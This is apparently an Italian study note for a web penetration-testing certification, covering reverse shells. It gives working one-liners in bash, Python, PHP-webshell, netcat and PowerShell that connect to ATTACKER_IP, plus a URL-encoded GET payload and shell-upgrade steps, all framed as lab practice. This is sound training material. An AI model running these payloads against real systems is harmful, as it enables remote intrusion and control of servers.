eWPT · Exploitation & Post-Ex
Reverse Shells
Difficoltà: Intermediate Time to Master: 1.5h Prerequisiti: 02-RCE-Techniques.md Lab: qualsiasi lab con RCE confermata
Obiettivo
Un comando singolo alla volta (come nella command injection appena vista) è scomodo: ogni azione richiede una nuova richiesta HTTP, e cose come cd, sudo -l interattivo o un editor di testo diventano quasi impossibili da usare. Qui trasformi quell’esecuzione episodica in una shell vera, persistente, dove puoi lavorare come se fossi seduto davanti al terminale del server — è il passaggio che rende possibile tutta l’enumerazione post-exploitation e la privilege escalation che segue.
Concetti chiave
Reverse vs Bind shell
| Tipo | Chi inizia la connessione | Quando usarla |
|---|---|---|
| Reverse shell | il TARGET si connette a te | preferita, bypassa firewall inbound sul target |
| Bind shell | tu ti connessi al TARGET su una porta aperta | se il target non può raggiungerti in uscita |
Setup listener (sempre per primo)
nc -lvnp 4444
Strumenti
| Tool | Comando base | Output | Note |
|---|---|---|---|
| netcat | nc -lvnp PORT |
listener | sul TUO host, sempre avviato prima |
| rlwrap | rlwrap nc -lvnp PORT |
listener con history/frecce | qualità della vita migliore |
Payload / Esempi
Esempio 1: bash reverse shell (target Linux con bash)
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Esempio 2: Python reverse shell (quando bash -i non è disponibile)
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Esempio 3: PHP reverse shell (via webshell RCE)
<?php system($_GET['cmd']); ?>
Poi passa il comando reverse shell come valore di cmd:
?cmd=bash -c 'bash -i >%26 /dev/tcp/ATTACKER_IP/4444 0>%261'
Esempio 4: netcat con -e (se la versione lo supporta)
nc -e /bin/sh ATTACKER_IP 4444
Spiegazione: l’opzione -e NON è presente in tutte le build di netcat: la versione OpenBSD (default su molte distro moderne, incluso Debian/Ubuntu/Kali recenti) la disabilita di default per motivi di sicurezza, mentre le build “traditional”/GNU (nc-traditional, nc.traditional) la includono. Verifica sempre con nc -h prima di affidarti a -e; se assente, usa la variante Python (Esempio 2), un fifo (mkfifo /tmp/f; /bin/sh -i < /tmp/f | nc ATTACKER_IP 4444 > /tmp/f), oppure ncat --exec (nmap) o socat.
Esempio 5: PowerShell reverse shell (target Windows)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Esempio 6: upgrade a shell TTY completa dopo la connessione iniziale
# nella reverse shell ricevuta:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# poi Ctrl+Z per sospendere:
stty raw -echo; fg
# infine nel terminale locale, se serve ridimensionare:
stty rows 38 columns 116
Spiegazione: una reverse shell “grezza” non supporta tab-completion, frecce direzionali, o Ctrl+C correttamente: l’upgrade a PTY completo (Python pty + stty) rende la shell utilizzabile come un vero terminale, indispensabile per tool interattivi (su, vim, sudo -l).
Evasion / Bypass Techniques
Bypass filtro su parole chiave nella command injection
Vedi 02-RCE-Techniques.md per tecniche di bypass su spazi/keyword applicabili anche qui, dato che il payload reverse shell spesso passa attraverso lo stesso canale di command injection.
Payload URL-encoded per passare tramite parametro GET
bash -c 'bash -i >%26 /dev/tcp/ATTACKER_IP/4444 0>%261'
Lab Hands-On
Lab 1: qualsiasi HTB/lab con RCE già confermata
Obiettivo: ottenere shell interattiva completa da un RCE Difficulty: Facile-Medio Time: 30 min
Walkthrough breve:
- Avvia listener
nc -lvnp 4444 - Invia payload reverse shell tramite il vettore RCE trovato
- Upgrade a shell TTY completa
Common Mistakes
- Dimenticare di avviare il listener PRIMA di inviare il payload -> la connessione fallisce silenziosamente
- Non fare l’upgrade a TTY completo -> impossibile usare
sudo -l,su, editor interattivi correttamente - Scegliere il linguaggio sbagliato (Python payload su un target senza Python installato) -> verifica sempre disponibilità interpreti prima
Link Utili
Connessioni
- Prerequisito: 02-RCE-Techniques.md
- Prossimo Step: 04-Webshell-Deployment.md
Checklist di padronanza
- So ottenere reverse shell su Linux (bash/Python) e Windows (PowerShell)
- So fare l’upgrade a TTY completa
- So scegliere il payload giusto in base agli interpreti disponibili sul target